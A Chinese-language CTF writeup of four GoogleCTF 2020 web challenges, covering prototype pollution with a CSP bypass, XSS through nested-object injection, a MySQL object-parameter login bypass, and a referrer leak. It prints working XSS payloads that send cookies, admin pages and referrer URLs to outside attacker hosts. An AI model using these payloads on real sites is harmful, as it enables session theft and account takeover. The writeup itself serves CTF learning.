GoogleCTF 2020 Writeup

Author:颖奇L’Amore Blog:www.gem-love.com JS大赛 我好爱 如果不和强网杯冲突就更好了


All The Little Things

I left a little secret in a note, but it’s private, private is safe.

Note: TJMike🎤 from Pasteurize is also logged into the page.

https://littlethings.web.ctfcompetition.com

题目是个note,另外还加了一些用户自己的profile,以及可以切换主题light和dark

settings:

还有CSP:

在HTML源码中注意到有一个注释,开启后则多出来一个debug的div

然后因为这是个JS题,来一个一个看下JS文件。 static/scripts/utils.js

// make sure that variable is undefined
function is_undefined(x) {
return typeof x === "undefined" && x == undefined
}

window.addEventListener('DOMContentLoaded', ()=>{
fetch('/me').then(e => e.json()).then(make_user_object);
})

fetch这个/me的路由可以得到个人信息,像这样:

{“username”:”Y1ng”,”img”:”/static/images/anonymous.png”,”theme”:{“cb”:”set_light_theme”,”options”:{},”choice”:1}}

注意到then(make_user_object),那么我们跟进/static/scripts/user.js:

class User {
#username; #theme; #img
constructor(username, img, theme) {
this.#username = username
this.#theme = theme
this.#img = img
}
get username() {
return this.#username
}

get img() {
return this.#img
}

get theme() {
return this.#theme
}

toString() {
return `user_${this.#username}`
}
}

function make_user_object(obj) {

const user = new User(obj.username, obj.img, obj.theme);
window.load_debug?.(user);

// make sure to not override anything
if (!is_undefined(document[user.toString()])) {
return false;
}
document.getElementById('profile-picture').src=user.img;
window.USERNAME = user.toString();
document[window.USERNAME] = user;
update_theme();
}

首先他有一个User类,可以看到这个类下全部都是私有属性并且是没有set的,另外toString()会返回username。之后就是make_user_object函数,如果设置了debug就会调用load_debug,后面还会update_theme()。我们先跟进这个update_theme()看下:

function set_dark_theme(obj) {
const theme_url = "/static/styles/bootstrap_dark.css";
document.querySelector('#bootstrap-link').href = theme_url;
localStorage['theme'] = theme_url;
}

function set_light_theme(obj) {
theme_url = "/static/styles/bootstrap.css";
document.querySelector('#bootstrap-link').href = theme_url;
localStorage['theme'] = theme_url;
}

function update_theme() {
const theme = document[USERNAME].theme;
const s = document.createElement('script');
s.src = `/theme?cb=${theme.cb}`;
document.head.appendChild(s);
}

document.querySelector('#bootstrap-link').href = localStorage['theme'];

这个update_theme()实际上就是<script src=`/theme?cb=${theme.cb}`>,测试发现想要设置dark主题调用set_dark_theme()那么实际上就是一个script标签引用到/theme?cb=set_dark_theme上去,那么这里很明显cb参数后面加了什么就会call什么函数:

现在回头去看load_debug(),在static/scripts/debug.js下:

// Extend user object
function load_debug(user) {
let debug;
try {
debug = JSON.parse(window.name);
} catch (e) {
return;
}

if (debug instanceof Object) {
Object.assign(user, debug);
}

if(user.verbose){
console.log(user);
}

if(user.showAll){
document.querySelectorAll('*').forEach(e=>e.classList.add('display-block'));
}

if(user.keepDebug){
document.querySelectorAll('a').forEach(e=>e.href=append_debug(e.href));
}else{
document.querySelectorAll('a').forEach(e=>e.href=remove_debug(e.href));
}

window.onerror = e =>alert(e);
}

function append_debug(u){
const url = new URL(u);
url.searchParams.append('__debug__', 1);
return url.href;
}

function remove_debug(u){
const url = new URL(u);
url.searchParams.delete('__debug__');
return url.href;
}

有一个非常非常显眼的东西:Object.assign(user, debug),而debug就是window.name的json。Object.assign()lodashmerge()基本一样(区别在于一个是浅拷贝一个是深拷贝),经典的原型链污染,所以我们只要控制了window.name就能污染user对象了。 theme.cb是会被call的函数,而刚刚说了,User类下全是私有属性并且没有setter,那么我们不能直接控制theme.cb

但是通过assign()污染__proto__之后就可以绕过这个限制了:

可以看到现在取出来user对象的theme已经是{cb: "alert"}了,通过原型链污染我们控制了调用的函数。 然而本题目还有CSP,很多js是不能执行的。想要绕过这个CSP可以选择使用iframe,在iframe下利用scrip src调用theme?cb=来callback,这是完全可行的,并且iframe里也可以获取到主窗口下的内容,很多CSRF题目都是这个做题套路,类似这样:

{
"__proto__":{},
"theme":{
"cb":"document.body.innerHTML=window.name.toString"
},
"htmlGoesHere": "<iframe srcdoc='<script src=/theme?cb=window.top.document.body.innerHTML=window.top.location.search.toString></script>'>"
}

那么做到现在,我们甚至都还不知道这题要得到什么,注意到题目描述说用Pasteurize的xss bot,那么我们可以用那个题的xss方法来进行xss(请看后文)。可是,需要xss打什么?打cookie吗?cookie是HTTP-Only的也没法用 实际上,我们需要得到管理员账户一个私有的note,我们可以构造xss去得到那个bot的note页面并leak到我们的服务器上。至于如何设置我们自己的服务器地址可以先创建标签然后用innerText取出来

{
"__proto__":{},
"theme":{
"cb":"document.body.firstElementChild.innerHTML=window.name.toString"
},
"payload":[
"<form id='concat'>https://your_server/?<div></div></form>",
"<iframe srcdoc='<script src=/theme?cb=window.top.concat.firstElementChild.innerText=window.top.document.body.innerText.toString></script>'></iframe>",
"<iframe srcdoc='<script src=/theme?cb=window.top.location.href=window.top.concat.innerText.toString></script>'></iframe>"
]
}

转base64然后eval()来执行,用pasteurize的方法让bot执行,这里有个小trick,通过判断UA来控制window.location,我当时做pasteurize时候没有想到。另外不要忘了urlencode,因为+会被解析成空格

控制台调一下,此时已经执行成功了:

不过samurai这个通过UA判断是否跳转的套路我没成功,最后还是直接用了location.href跳转,于是我们得到了管理员的note的地址

下一步只要去得到note下有什么就好了,直接修改跳转的地址为这个note的地址其他都不需要改

location.href=\`https://littlethings.web.ctfcompetition.com/note/22f23db6-a432-408b-a3e9-40fe258d500f?\_\_debug\_\_

得到flag:

这个题目还是很有难度的,自己没有做出来,赛后看了三份Writeup,最后选择了Samurai的方法。tyage的方法也很好,Exp here


pasteurize

This doesn’t look secure. I wouldn’t put even the littlest secret in here. My source tells me that third parties might have implanted it with their little treats already. Can you prove me right?

https://pasteurize.web.ctfcompetition.com/

在/source得到源码:

const express = require('express');
const bodyParser = require('body-parser');
const utils = require('./utils');
const Recaptcha = require('express-recaptcha').RecaptchaV3;
const uuidv4 = require('uuid').v4;
const Datastore = require('@google-cloud/datastore').Datastore;

/* Just reCAPTCHA stuff. */
const CAPTCHA_SITE_KEY = process.env.CAPTCHA_SITE_KEY 'site-key';
const CAPTCHA_SECRET_KEY = process.env.CAPTCHA_SECRET_KEY 'secret-key';
console.log("Captcha(%s, %s)", CAPTCHA_SECRET_KEY, CAPTCHA_SITE_KEY);
const recaptcha = new Recaptcha(CAPTCHA_SITE_KEY, CAPTCHA_SECRET_KEY, {
'hl': 'en',
callback: 'captcha_cb'
});

/* Choo Choo! */
const app = express();
app.set('view engine', 'ejs');
app.set('strict routing', true);
app.use(utils.domains_mw);
app.use('/static', express.static('static', {
etag: true,
maxAge: 300 * 1000,
}));

/* They say reCAPTCHA needs those. But does it? */
app.use(bodyParser.urlencoded({
extended: true
}));

/* Just a datastore. I would be surprised if it's fragile. */
class Database {
constructor() {
this._db = new Datastore({
namespace: 'littlethings'
});
}
add_note(note_id, content) {
const note = {
note_id: note_id,
owner: 'guest',
content: content,
public: 1,
created: Date.now()
}
return this._db.save({
key: this._db.key(['Note', note_id]),
data: note,
excludeFromIndexes: ['content']
});
}
async get_note(note_id) {
const key = this._db.key(['Note', note_id]);
let note;
try {
note = await this._db.get(key);
} catch (e) {
console.error(e);
return null;
}
if (!note note.length < 1) {
return null;
}
note = note[0];
if (note === undefined note.public !== 1) {
return null;
}
return note;
}
}

const DB = new Database();

/* Who wants a slice? */
const escape_string = unsafe => JSON.stringify(unsafe).slice(1, -1)
.replace(/</g, '\\x3C').replace(/>/g, '\\x3E');

/* o/ */
app.get('/', (req, res) => {
res.render('index');
});

/* \o/ [x] */
app.post('/', async (req, res) => {
const note = req.body.content;
if (!note) {
return res.status(500).send("Nothing to add");
}
if (note.length > 2000) {
res.status(500);
return res.send("The note is too big");
}

const note_id = uuidv4();
try {
const result = await DB.add_note(note_id, note);
if (!result) {
res.status(500);
console.error(result);
return res.send("Something went wrong...");
}
} catch (err) {
res.status(500);
console.error(err);
return res.send("Something went wrong...");
}
await utils.sleep(500);
return res.redirect(`/${note_id}`);
});

/* Make sure to properly escape the note! */
app.get('/:id([a-f0-9\-]{36})', recaptcha.middleware.render, utils.cache_mw, async (req, res) => {
const note_id = req.params.id;
const note = await DB.get_note(note_id);

if (note == null) {
return res.status(404).send("Paste not found or access has been denied.");
}

const unsafe_content = note.content;
const safe_content = escape_string(unsafe_content);

res.render('note_public', {
content: safe_content,
id: note_id,
captcha: res.recaptcha
});
});

/* Share your pastes with TJMike🎤 */
app.post('/report/:id([a-f0-9\-]{36})', recaptcha.middleware.verify, (req, res) => {
const id = req.params.id;

/* No robots please! */
if (req.recaptcha.error) {
console.error(req.recaptcha.error);
return res.redirect(`/${id}?msg=Something+wrong+with+Captcha+:(`);
}

/* Make TJMike visit the paste */
utils.visit(id, req);

res.redirect(`/${id}?msg=TJMike🎤+will+appreciate+your+paste+shortly.`);
});

/* This is my source I was telling you about! */
app.get('/source', (req, res) => {
res.set("Content-type", "text/plain; charset=utf-8");
res.sendFile(__filename);
});

/* Let it begin! */
const PORT = process.env.PORT 8080;

app.listen(PORT, () => {
console.log(`App listening on port ${PORT}`);
console.log('Press Ctrl+C to quit.');
});

module.exports = app;

代码比较简单就不多说了。主要是个pasteboard,然后有一些过滤,可以把输入的内容给管理员看,典型的xss题目。 首先来看下escape_string函数:

const escape_string = unsafe => JSON.stringify(unsafe).slice(1, -1)
.replace(/</g, '\\x3C').replace(/>/g, '\\x3E');

这里主要是JSON转字符串之后剥去了收尾各一个字符,之后再进行一个字符替换。 然后会把经过escape_string()处理的字符串渲染进模板,我们随便提交点东西看看模板里有什么:

这里可以看到,const note就是我们渲染进去的内容,然后经过了DOMPurify.sanitize()处理再显示出来,DOMPurify.sanitize()会剥去标签的事件等可以触发XSS的东西

查资料发现曾经的版本可以用突变XSS(mXSS)来绕过DOMPurify,然而已经在后续的版本更新了,本题使用的Purify.js是新版本,不存在这个bypass漏洞。 另外我们输入的东西会被显示在<div></div>里,因为后端的esacpe_string()又过滤了<>就更不能xss了

如果DOMPurify不存在漏洞,那就只能去bypass后端escape_string()了。 自己再本地调了一下,发现这个JSON.stringify()很多余,既然note是个字符串,为啥要转成JSON,于是我想尝试提交一个对象,可惜服务端没有支持application/json,不过可以注意到题目使用了qs模块:

app.use(bodyParser.urlencoded({
extended: true
}));

没用过qs.parse()也没关系,npm查一下就知道了,qs.parse()允许我们通过URLENCODED实现JSON一样的功能,即提交嵌套对象。

assert.deepEqual(qs.parse('foo[bar]=baz'), {
foo: {
bar: 'baz'
}
});

继续本地测试:

正常情况下提交content就是什么就输出什么,因为slice(1,-1)脱去了分号;如果是利用qs.parse()提交对象就不一样了,此时经过JSON.stringify()得到的字符串再slice(1,-1)切片脱去的就不再是引号而是两侧的大括号了,因为此时的content不再是字符串而是对象

这实际上非常有用,它被渲染进了模板,然后DOMPurify对它不会做任何处理,所以是直接输出的。我们可以清楚看到,因为DOMPurify对其没有任何操作,它会被原封不动输出,而引号没有被转义就可以用来构造闭合进而进行JS注入

进行如下Post提交:

content[;alert(1)//]=Y1ng_test

得到:

const note = “”;alert(1)//“:”Y1ng_test””;

弹窗成功:

这就简单了,只要在这里构造xss payload就可以了。在属性名上构造比较不方便,继续构造一个闭合然后把主要payload写在等号的右边

content\[;Y1ng=\]=;window.location=\`http://y1ng.vip:12358/?q=${document.cookie}\`;//

效果为:

const note = "";Y1ng=":";window.location=\`http://y1ng.vip:12358/?q=${document.cookie}\`;//"";

window.open()的话bot好像解析不了,然后换了window.location,但是问题在于自己的网页也会重定向,必须要快一点把重定向取消然后点击那个提交,服务器上收到flag:

当然除了window.location这种拼手速的payload,还有其他很多方法带出flag,只要学过js就肯定有办法,比如:

content\[;Y1ng=\]=;var img = document.createElement('img');img.src = \`http://gem-love.com:12345/?q=${document.cookie}\`;document.body.appendChild(img);//


LOG-ME-IN

Log in to get the flag

⇥Attachment

https://log-me-in.web.ctfcompetition.com/

给了node源码,重点在login路由:

app.post('/login', (req, res) => {
const u = req.body['username'];
const p = req.body['password'];

const con = DBCon(); // mysql.createConnection(...).connect()

const sql = 'Select * from users where username = ? and password = ?';
con.query(sql, [u, p], function(err, qResult) {
if(err) {
res.render('login', {error: `Unknown error: ${err}`});
} else if(qResult.length) {
const username = qResult[0]['username'];
let flag;
if(username.toLowerCase() == targetUser) {
flag = flagValue
} else{
flag = "<span class=text-danger>Only Michelle's account has the flag</span>";
}
req.session.username = username
req.session.flag = flag
res.redirect('/me');
} else {
res.render('login', {error: "Invalid username or password"})
}
});
});

需要登录为const targetUser = "michelle",然而并不知道它的密码,而且这里也不能注入,所以我们要想办法构造一个万能密码。 注意到和上一题一样,也是使用qs.query()处理传参:

app.use(bodyParser.urlencoded({
extended: true
}))

那么我们可以故技重施,提交一个对象,来看看如果mysql.query()传参为对象会变成什么。根据官方文档

Objects are turned into key = 'val' pairs for each enumerable property on the object. If the property's value is a function, it is skipped; if the property's value is an object, toString() is called on it and the returned value is used.

我们可以自己本地试一下:

注意到他是直接转化为 `key` = val的形式了,而mysql中反引号内为column name,只需要让其为`password`,这样password = `password` = 1就可以返回True了,进而登陆成功 提交:

username=michelle&password\[password\]=1


TECH SUPPORT

Try chatting with tech support about getting a flag. Note: We have received multiple reports of exploits not working remotely, but we triple checked and concluded that the bot is working properly.

https://typeselfsub.web.ctfcompetition.com/

在chat下,我尝试了alert()没生效,尝试XMLHttpRequest去访问我的vps也没生效,但是直接引用是可以访问得到的

然而注意到这个chat是一个iframe,并且域名不一样,这意味着有CORS问题,直接去fetch flag肯定是不行了。 xss题有个套路,如果是需要打bot的cookie的,那么bot一般会去请求一个api来获取到cookie再去访问用户提交的url,很多人都这么出题,而我们可以通过document.referrer打到那个秘密接口,xss打到:

https://typeselfsub.web.ctfcompetition.com/asofdiyboxzdfasdfyryryryccc?username=mike&password=j9as7ya7a3636ncvx&reason=%3Cimg%20src%3DX%20onerror%3Deval(atob(%22d2luZG93LmxvY2F0aW9uLmhyZWY9Imh0dHBzOi8vZW5hcHF1eGE4M2FvNy54LnBpcGVkcmVhbS5uZXQvP3E9IitidG9hKGRvY3VtZW50LnJlZmVycmVyKTs%3D%22))%3E

这就是它用来登录管理员并获取管理员cookie的接口,我们也访问就可以称为管理员了,然后/flag拿flag。不过这种解法一般都是非预期。看了下ctftime,预期解比较复杂,是CSRF,和ByteBanditsCTF 2020的note有点像。

Author: Y1ng
Link: https://www.gem-love.com/2020/08/27/googlectf-2020-writeup/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
【腾讯云】热门云产品首单特惠秒杀,2核2G云服务器45元/年    【腾讯云】境外1核2G服务器低至2折,半价续费券限量免费领取!